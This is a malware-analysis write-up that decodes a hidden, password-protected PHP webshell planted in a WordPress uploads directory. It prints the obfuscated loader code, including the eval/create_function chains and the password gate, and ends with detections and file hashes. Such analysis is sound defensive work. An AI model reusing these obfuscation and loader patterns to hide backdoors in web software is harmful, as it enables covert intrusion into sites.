Webshell Malware Analysis
The Victim Host
A Linux WordPress site was found to be hosting a password protected encoded webshell. The URL had this format.
hxxps://www.victim-domain[.]com/wp-content/uploads/2011/01/.bak.php
This documents how the files were decoded to reveal the final webshell.
.bak.php
The full contents of the initial PHP .bak.php
was:
<?php
include(".htaccess_backup");
So the actual code was in another file with a leading dot and a name that you might casually overlook.
.htaccess_backup
The .htaccess_backup
file is actually PHP with encoded strings. Basically it
looks like this:
<?php
error_reporting(0);
$_S="bVHRbuIwEHyv1H...37hG7w8=";$_A=strrev("esab")."64_".strrev("edoced");$_X=$_A('ZXZhbChnem...kX1MpKSk7');$trd=strrev("taerc")."e_f".strrev("noitcnu");$ctel=$trd('$_S',$_X);$ctel($_S);
$password = "f02c70756258cba6cfb4d391f5c1100b";
$xvp="NZdwobnBjwobV...lHJwobyA";
$jna="g5VmFPdU1URWw...CiAKCg==";
$nem = str_replace("m","","smtrm_mrempmlamce");
$ghz="IApkZWZpbmUow...01QdG";
$jj="sIwobAoJCSdwob...TVvVE";
$iux = $nem("w", "", "bwawswew6w4w_wdwewcwodwe");
$gg = $nem("k","","kcrkekaktkek_kfkuknkcktiokn");
$ulh = $gg('', $iux($nem("wob", "", $ghz.$xvp.$jj.$jna))); $ulh();
?>
The full length of the file is 126,379 bytes, so the encoded strings have been shortened for simplified reading.
Decoding
Step 1
In order to figure out what’s happening, copy the original file to a new file and then reduce it down to the initial few lines along with adding line endings.
<?php
error_reporting(0);
$_S="bVHRbuIwEHyv1H9YrFyT6KpgIFBoE15OVJxaCdSiewGEnHhDrCNO5JjSCvXfzw5qRe/ubbw7OzO7duqK1fWhVBxiIOmQhTTk2fCm1xtiMqCc0hFPeEZTTgcdTu4uL5wCLTXXurptt0mwRY3yxSPTxWK+mc6eF8QPnM3z5OnX5Gnpzqdzgx/v3bUdTcvyt0DJThLVKyqrKDJP1DVqz9nMzfzSbTK5a98/mhlmqMg31YH/0z/NWkYMzuci/tFonZy8M8drcNg1aFGg538Pe11K/bv3y4scGUflkccyZVqU8hZIYFa02u+NfAuLSr95Z/pwdQWtj8Q/ZrOHn5PlmdHah1LB/1vQ+pLULlgpITWQSLNkh5CYMqqYwkFwnccdSr9BjmKb6waPI83hhe3EVsYrUgjOd7gi4yhFqVGNo6xUBbDULmL6KwIF6rzkBtvLWaaQ1V6DfqvQFD+CWCJ73aHcGs8V6XVNweY1uAn712C9Twqhx1Hb2o3tF3Jz6+ac2V427p9fVvlHhXqvJBS877ls0OmmbmBx8076LBy5gaEF7giHWegagGmf37hG7w8=";
$_A=strrev("esab")."64_".strrev("edoced");
$_X=$_A('ZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkX1MpKSk7');
$trd=strrev("taerc")."e_f".strrev("noitcnu");
$ctel=$trd('$_S',$_X);
$ctel($_S);
?>
Next start adding echo
statements so we can track the
variables as they evolve. First up is what is $_A
?
In order to find out, add the echo
after it followed
by an exit
like this.
<?php
error_reporting(0);
$_S="bVHRbuIwEHyv1H9YrFyT6KpgIFBoE15OVJxaCdSiewGEnHhDrCNO5JjSCvXfzw5qRe/ubbw7OzO7duqK1fWhVBxiIOmQhTTk2fCm1xtiMqCc0hFPeEZTTgcdTu4uL5wCLTXXurptt0mwRY3yxSPTxWK+mc6eF8QPnM3z5OnX5Gnpzqdzgx/v3bUdTcvyt0DJThLVKyqrKDJP1DVqz9nMzfzSbTK5a98/mhlmqMg31YH/0z/NWkYMzuci/tFonZy8M8drcNg1aFGg538Pe11K/bv3y4scGUflkccyZVqU8hZIYFa02u+NfAuLSr95Z/pwdQWtj8Q/ZrOHn5PlmdHah1LB/1vQ+pLULlgpITWQSLNkh5CYMqqYwkFwnccdSr9BjmKb6waPI83hhe3EVsYrUgjOd7gi4yhFqVGNo6xUBbDULmL6KwIF6rzkBtvLWaaQ1V6DfqvQFD+CWCJ73aHcGs8V6XVNweY1uAn712C9Twqhx1Hb2o3tF3Jz6+ac2V427p9fVvlHhXqvJBS877ls0OmmbmBx8076LBy5gaEF7giHWegagGmf37hG7w8=";
$_A=strrev("esab")."64_".strrev("edoced");
echo "_A=$_A\n";
exit();
$_X=$_A('ZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkX1MpKSk7');
$trd=strrev("taerc")."e_f".strrev("noitcnu");
$ctel=$trd('$_S',$_X);
$ctel($_S);
?>
Now run the file with php
like this.
$ php dot-htaccess_backup1.php
_A=base64_decode
Ah hah, $_A
is just base64_decode
. Not surprising since
base64 is so frequently used to hide strings.
Moving onto the next line, we want to know what $_X
is. So do
the same method as before while shifting exit()
down appropriately.
<?php
error_reporting(0);
$_S="bVHRbuIwEHyv1H9YrFyT6KpgIFBoE15OVJxaCdSiewGEnHhDrCNO5JjSCvXfzw5qRe/ubbw7OzO7duqK1fWhVBxiIOmQhTTk2fCm1xtiMqCc0hFPeEZTTgcdTu4uL5wCLTXXurptt0mwRY3yxSPTxWK+mc6eF8QPnM3z5OnX5Gnpzqdzgx/v3bUdTcvyt0DJThLVKyqrKDJP1DVqz9nMzfzSbTK5a98/mhlmqMg31YH/0z/NWkYMzuci/tFonZy8M8drcNg1aFGg538Pe11K/bv3y4scGUflkccyZVqU8hZIYFa02u+NfAuLSr95Z/pwdQWtj8Q/ZrOHn5PlmdHah1LB/1vQ+pLULlgpITWQSLNkh5CYMqqYwkFwnccdSr9BjmKb6waPI83hhe3EVsYrUgjOd7gi4yhFqVGNo6xUBbDULmL6KwIF6rzkBtvLWaaQ1V6DfqvQFD+CWCJ73aHcGs8V6XVNweY1uAn712C9Twqhx1Hb2o3tF3Jz6+ac2V427p9fVvlHhXqvJBS877ls0OmmbmBx8076LBy5gaEF7giHWegagGmf37hG7w8=";
$_A=strrev("esab")."64_".strrev("edoced");
echo "_A=$_A\n";
$_X=$_A('ZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkX1MpKSk7');
echo "_X=$_X\n";
exit();
$trd=strrev("taerc")."e_f".strrev("noitcnu");
$ctel=$trd('$_S',$_X);
$ctel($_S);
?>
As before, run it through php
.
$ php dot-htaccess_backup1.php
_A=base64_decode
_X=eval(gzinflate(base64_decode($_S)));
So what we learned is that the string
'ZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkX1MpKSk7'
is
eval(gzinflate(base64_decode($_S)));
.
$_X
is simply equal to that code. It has not actually
run the code yet.
Moving on, do the same echo
just after the $trd
assignment
like this.
$trd=strrev("taerc")."e_f".strrev("noitcnu");
echo "trd=$trd\n";
exit();
Running it results in the following.
$ php dot-htaccess_backup1.php
_A=base64_decode
_X=eval(gzinflate(base64_decode($_S)));
trd=create_function
Our next line is interesting.
$ctel=$trd('$_S',$_X);
If we substitute the values, what we get is this.
$ctel=create_function('$_S',eval(gzinflate(base64_decode($_S))));
What this does is create an anonymous function whose code is
derived from $_S
. We can see that $_S
is first decoded
from base64, then gzinflated, then executed with the output
of that execution becoming the code for the function.
The first argument for create_function() doesn’t actually
do anything in this case. It really could have been anything.
So lets find out what the $_S
actually is.
Edit our test PHP some more. After the assignment of $_S
place the gzinflate and base64_decode
and echo it out.
$_S="bVHRbuIwEHyv1H9Yr...mbmBx8076LBy5gaEF7giHWegagGmf37hG7w8=";
echo "_S=".gzinflate(base64_decode($_S))."\n\n";
Running it with php results in this.
$ php dot-htaccess_backup1.php
_S=$spassword = "c8a404df87338eb60d009dbdf0cd061d";
$me = "http://".getenv("HTTP_HOST").$_SERVER['PHP_SELF'];
$cookiename = "pxer";
if(isset($_POST['spass'])){
$a = ed_pwd($_POST['spass']);
if($a == $spassword){setcookie($cookiename, $a, time()+43200);}
header("Location: ".$me);
}
if(!empty($spassword) && !isset($_COOKIE[$cookiename]) or ($_COOKIE[$cookiename] != $spassword)){
print "<table border=0 width=100% height=100%><td valign=\"middle\"><center><form action=\"\" method=\"POST\"><input type=\"password\" maxlength=\"32\" name=\"spass\"><input type=submit></form>";
die();}
function ed_pwd($p){return md5('a612c'.md5(md5('b5a49'.$p).'9e8f4').'ec5d7');}
_A=base64_decode
_X=eval(gzinflate(base64_decode($_S)));
trd=create_function
Sure enough, there was PHP code inside of $_S
. Here’s the code
cleaned up with comments added.
// hashed password
$spassword = "c8a404df87338eb60d009dbdf0cd061d";
//
// $me will be the full URL of the script that called us.
// In our case it'll be:
//
// hxxps://www.victim-domain.com/wp-content/uploads/2011/01/.bak.php
//
$me = "http://".getenv("HTTP_HOST").$_SERVER['PHP_SELF'];
$cookiename = "pxer";
//
// was 'spass' passed?
//
if (isset($_POST['spass'])) {
//
// hash the provided password
//
$a = ed_pwd($_POST['spass']);
//
// does the hash of the provided password match?
//
if ($a == $spassword) {
//
// set the cookie 'pxer' equal to the hashed password for 12 hours
//
setcookie($cookiename, $a, time()+43200);
}
header("Location: ".$me);
}
if (!empty($spassword) && !isset($_COOKIE[$cookiename])
or ($_COOKIE[$cookiename] != $spassword)) {
//
// if the cookie is not set or doesn't equal the correct password hash,
// then prompt the user to provide a password
//
print "<table border=0 width=100% height=100%><td valign=\"middle\"><center><form action=\"\" method=\"POST\"><input type=\"password\" maxlength=\"32\" name=\"spass\"><input type=submit></form>";
die();
}
function ed_pwd($p) {
//
// use md5() multiple times to hash the provided password while
// also provide a different salt for each hashing.
//
return md5('a612c'.md5(md5('b5a49'.$p).'9e8f4').'ec5d7');
}
Basically this ensures that the user provides a password before they get any further into the backdoor. Nothing further in the backdoor will decoded or run until that password is provided.
Either remove these intial lines or comment out the $ctel()
call
in order to get past the password requirement.
Step 2
Looking back at .htaccess_backup
we’ve figured out the
initial lines up through the $ctel
forces
a password authention.
After that comes the following. Again the long strings have been shortened for reading.
$password = "f02c70756258cba6cfb4d391f5c1100b";
$xvp="NZdwobnBjwobV...lHJwobyA";
$jna="g5VmFPdU1URWw...CiAKCg==";
$nem = str_replace("m","","smtrm_mrempmlamce");
$ghz="IApkZWZpbmUow...01QdG";
$jj="sIwobAoJCSdwob...TVvVE";
$iux = $nem("w", "", "bwawswew6w4w_wdwewcwodwe");
$gg = $nem("k","","kcrkekaktkek_kfkuknkcktiokn");
$ulh = $gg('', $iux($nem("wob", "", $ghz.$xvp.$jj.$jna))); $ulh();
Copy the original .htaccess_backup
file to a new
testing file. I used dot-htaccess_backup2.php
.
Remove all the initial lines that we’ve already determined
does a password check.
The first few lines just set variables. The action starts with this.
$nem = str_replace("m","","smtrm_mrempmlamce");
Use the same method as before, after this assigment
add an echo
and exit
like this.
$nem = str_replace("m","","smtrm_mrempmlamce");
echo "nem=$nem\n";
exit();
Then run the php.
$ php dot-htaccess_backup2.php
nem=str_replace
So they’re obfuscating the function str_replace()
.
Moving on there are more assignments of very long strings followed by some code. Remove the exit() from earlier then do the same echo and exit here as such.
$iux = $nem("w", "", "bwawswew6w4w_wdwewcwodwe");
echo "iux=$iux\n";
$gg = $nem("k","","kcrkekaktkek_kfkuknkcktiokn");
echo "gg=$gg\n";
exit();
Running php again renders this.
$ php dot-htaccess_backup2.php
nem=str_replace
iux=base64_decode
gg=create_function
Yet more obfuscating function names.
The next line uses those obfuscated names.
$ulh = $gg('', $iux($nem("wob", "", $ghz.$xvp.$jj.$jna))); $ulh();
Substituting the variables results in this.
$ulh = create_function('', base64_decode(str_replace("wob", "", $ghz.$xvp.$jj.$jna))); $ulh();
Breaking it down a bit more, we’ll start from the inside of this onion.
str_replace("wob", "", $ghz.$xvp.$jj.$jna)
What’s happening is they’re taking all those crazy long lines of
variables and appending them together, then removing all
instances of the string wob
.
Next they take that and decode it with base64. It does make me
wonder what happens if wob
was in the original base64 or
if that’s a valid string in base64.
The output of all that becomes code used to create a function.
Let’s get that code.
Edit our test php. Be sure to comment or remove the various debugging
echos. Add an echo
of just the inner portion like this.
echo $iux($nem("wob", "", $ghz.$xvp.$jj.$jna));
exit();
$ulh = $gg('', $iux($nem("wob", "", $ghz.$xvp.$jj.$jna))); $ulh();
Running the php outputs the PHP hidden inside all those lines.
$ php dot-htaccess_backup2.php
define('VERSION','FileMana');
/*Starting*/ $register_key = array /*Registration code*/
(
array
(
'CQ9jnUNtDTIlpz9lK3WypT9lqTyhMluSK0IFHx9FXGgNnJ5cK3AyqPtaMTympTkurI9ypaWipaZaYPqCMzLaXGgNnJ5cK3AyqPta' ,
'oJS4K2I4MJA1qTyioy90nJ1yWljkZQNjZPx7nTIuMTIlXPWwo250MJ50YIE5pTH6VUEyrUDinUEgoQftL2uupaAyqQ11qTLgBPVc' ,
'B2M1ozA0nJ9hVUA0pzEcpvtxp3ElXFO7VUWyqUIlovOmqUWspzIjoTSwMFuupaWurFtaKSjaYPpiYlpfWlHlAlpfWlHlZvpcYTSl' ,
...
'MT51oF4aKFNgVBnJu+F7gyfaYvEzoaIgYvqqVP0t5oTr5bPaJlphWTAboJ9xYvqqCP9xnKL+CP9zo3WgCvp7LaWyLJf7sG8+CTEc' ,
'qvOwoTSmpm0vMz9iqTSaVw48C3ObpPOyL2uiVUObpS91ozSgMFtcYvp8LaV+Wl4xK1ASHyMSHyfaH0IFIxIFK1ACEyEKDIWSW107' ,
'Cm48Y2Ecqw48Y2Ecqw48Y2Ecqw48Y2WiMUx+CP9bqT1fCwj/pTujVUIhp2I0XPEupaWurFx7Cm4='
)
) ;
/**
* Language and charset conversion settings
*/
$check_copyright = create_function /*Copyright*/
(
"/*\x64\x65\x28\x73\x74\x72*/\x24\x63\x6f\x64\x65/*\x63\x6f\x64\x65\x29*/" ,
"/*\x36\x34\x5f\x64\x65*/\x65\x76\x61\x6c\x20\x28\x20\x27\x20\x3f\x3e\x27" .
"\x20\x2e\x20\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x20\x28" .
"\x20\x73\x74\x72\x5f\x72\x6f\x74\x31\x33\x20\x28\x20\x6a\x6f\x69\x6e\x20" .
"\x28\x20\x27\x27\x20\x2c\x20\x24\x63\x6f\x64\x65\x20\x29\x20\x29\x20\x29" .
"\x20\x2e\x20\x27\x3c\x3f\x70\x68\x70\x20\x27\x20\x29\x3b/*\x63\x6f\x64*/"
) ;
/**
* Version settings
*/
$global_version = array_walk /*Version*/
(
/*This is a necessary key*/ $register_key ,
/*Verification on copyright*/ $check_copyright
) ;
The above output has a shortened long string for readability.
Let’s send that to another test file.
$ php dot-htaccess_backup2.php > dot-htaccess_backup3.php
We’ll skip $register_key
for now and look at $check_copyright
.
There’s some encoded strings we need to decode.
Create a test file named check_copyright.php
and echo
those
strings.
<?php
echo("/*\x64\x65\x28\x73\x74\x72*/\x24\x63\x6f\x64\x65/*\x63\x6f\x64\x65\x29*/");
echo("\n");
echo("/*\x36\x34\x5f\x64\x65*/\x65\x76\x61\x6c\x20\x28\x20\x27\x20\x3f\x3e\x27" .
"\x20\x2e\x20\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x20\x28" .
"\x20\x73\x74\x72\x5f\x72\x6f\x74\x31\x33\x20\x28\x20\x6a\x6f\x69\x6e\x20" .
"\x28\x20\x27\x27\x20\x2c\x20\x24\x63\x6f\x64\x65\x20\x29\x20\x29\x20\x29" .
"\x20\x2e\x20\x27\x3c\x3f\x70\x68\x70\x20\x27\x20\x29\x3b/*\x63\x6f\x64*/");
echo("\n");
Running that results in the following.
$ php check_copyright.php
Looks like more PHP but with comments used to make it harder to read. Removing those gets this.
$code
eval ( ' ?>' . base64_decode ( str_rot13 ( join ( '' , $code ) ) ) . '<?php ' );
Now what we can see is that it creates a function that accepts one argument. It takes that argument, joins it, performs a rotate13, then decodes the base64.
$check_copyright = create_function ( $code,
eval ( ' ?>' . base64_decode ( str_rot13 ( join ( '' , $code ) ) ) . '<?php ' );
);
Cleaning up the next section results in one line.
$global_version = array_walk($register_key, $check_copyright);
What this does is interate over the array $register_key
by feeding
each element to the new $check_copyright
function.
$register_key
is an array with one element which is a long
array of strings.
So let’s decode $register_key
.
Start by adding this to the top of the test file.
<?php
Then before the array_walk()
insert the following.
echo(base64_decode ( str_rot13 ( join ( '' , $register_key[0] ) ) ));
exit();
Run the script.
$ php dot-htaccess_backup3.php > dot-htaccess_backup4.php
Voila! We finally have the actual webshell.
<?php @error_reporting(E_ERROR);@ini_set('display_errors','Off');@ini_set('max_execution_time',10000);header("content-Type: text/html; charset
=utf-8");function strdir($str) { return str_replace(array('\\','//','%27','%22'),array('/','/','\'','"'),chop($str)); }function chkgpc($array)
{ foreach($array as $key => $var) { $array[$key] = is_array($var) ? chkgpc($var) : stripslashes($var); } return $array; }$myfile = $_SERVER['
SCRIPT_FILENAME'] ? strdir($_SERVER['SCRIPT_FILENAME']) : strdir(__FILE__);...
Webshell Logged In
Detections
Using VirustTotal no engine detected the original encoded
.htaccess_backup
.
Once decoded, 7 engines detected it.
Avast PHP:BackDoor-EP [Trj]
AVG PHP:BackDoor-EP [Trj]
DrWeb PHP.Shell.703
Microsoft Backdoor:PHP/Yorcirekrikseng.E
Qihoo-360 Php.webshell.eval.12
Sangfor Engine Zero Malware
Tencent Html.Win32.Script.504515
IOCs
- a14627616c95ce71b3e3352946e36b7896f5dbfa2827632bf91b59d775b75778 .htaccess_backup
- e0d9778fafd2c654ffe4bc24bc83604363dbadd4109f38c108a703e55a83fe53 dot-htaccess_backup4.php
Sample
The sample is contained in this encrypted ZIP with the password infected
.